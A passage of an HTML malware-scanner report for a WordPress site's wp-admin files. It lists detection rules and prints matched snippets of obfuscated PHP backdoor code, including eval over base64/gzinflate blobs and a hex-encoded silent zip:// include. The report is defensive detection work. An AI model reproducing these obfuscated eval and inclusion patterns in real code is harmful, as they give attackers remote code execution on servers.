<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$YoKrR</span><span style="color: #007700">(</span><span style="color: #0000BB">$icyYU</span><span style="color: #007700">(</span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIG...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_178").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/txets.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.13 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-03-04 11:32:44</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-03-04 11:32:44</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_179" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$eNBGx4OxLF</span><span style="color: #007700">[</span><span style="color: #0000BB">50</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silenced_eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@eval(</span><span style="color: #0000BB">$zyHNvy4MxX</span><span style="color: #007700">[</span><span style="color: #0000BB">3 </span><span style="color: #007700">+ </span><span style="color: #0000BB">1</span><span style="color: #007700">](</span><span style="color: #0000BB">$oLuD0kflSf</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_179").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/maint/maint/maint/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.51 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:03</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:03</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_180" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'8TO2LyA/XcEB4bH6WDpTaFSKpMeJXnXB3pve7jj345bP/wzN89HBs8sDm9P1+5Dv0Az0LHc5RHtnvh27W5FdvF7GUXKdnni9+xxHezmj3/9XHs+Ne8iXu4t7m613u8xlaw1CdvGvd6Xa86ojPl/lZyIj1nGn9eXsl1/++ysjyofuxMaVSoNoV8KJcXzc5cSP9nNf+H6Vzi+/iVODRgeR9cRtuVGs8NYsMUg3I7CIIKrY3xTb1V+3rqsfYbnpkuy/Byc+UmQFKOZHcnDIMpF3AFYYgcwywRikjJhxztbZGWB2XxJh7p4/Sw6QEz65GCDUiio07n4ufUbvZB9kd1bf8XP0qBa+22zP36G/OSltalqX3Rmga06t4tRtctZfRm85I//jx78nb36lz/+bnFDrLaCRxaQ1d1UbJuedaFtTsvanOhUvHTBjbp++bi6n6v3HeGaHRfFkbNqgMkgHbPKGI6sN+qPK42ZEPm3r4J8ztwrJGYNpTnd...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$HKAW</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_180").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/maint/maint/maint/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.21 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:03</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:03</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_181" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$Bbx_BvPFWi</span><span style="color: #007700">[</span><span style="color: #0000BB">48</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_181").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/maint/maint/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 375.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:57</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:57</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_182" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$faX</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@include_once </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x6d\x70\x33\x5f\x36\x39\x37\x38\x37\x34\x30\x31\x63\x37\x34\x35\x38\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x38\x37\x34\x30\x31\x63\x37\x34\x35\x38\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">include_once </span><span style="color: #DD0000">"zip:</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_182").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/maint/maint/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 423.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:57</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:57</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_183" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$faX</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_183").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/tZOPh5uHaEw.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 43.97 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:11:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:11:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_184" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIGqBEpWjyr30jbf/hv5cD...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$YoKrR</span><span style="color: #007700">(</span><span style="color: #0000BB">$icyYU</span><span style="color: #007700">(</span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIG...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_184").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/eqbCMmdzB9K.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 43.97 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:32:17</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:32:17</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_185" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIGqBEpWjyr30jbf/hv5cD...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$YoKrR</span><span style="color: #007700">(</span><span style="color: #0000BB">$icyYU</span><span style="color: #007700">(</span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIG...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_185").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/WwkpT3xVdlz.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 43.97 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:41:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:41:30</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_186" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIGqBEpWjyr30jbf/hv5cD...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$YoKrR</span><span style="color: #007700">(</span><span style="color: #0000BB">$icyYU</span><span style="color: #007700">(</span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIG...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_186").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/WaHdUKI2hS6.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 43.97 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:02:14</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:02:14</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_187" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIGqBEpWjyr30jbf/hv5cD...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$YoKrR</span><span style="color: #007700">(</span><span style="color: #0000BB">$icyYU</span><span style="color: #007700">(</span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIG...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_187").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/sBG3z9FyEO7.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 43.97 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:29:40</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:29:40</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_188" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
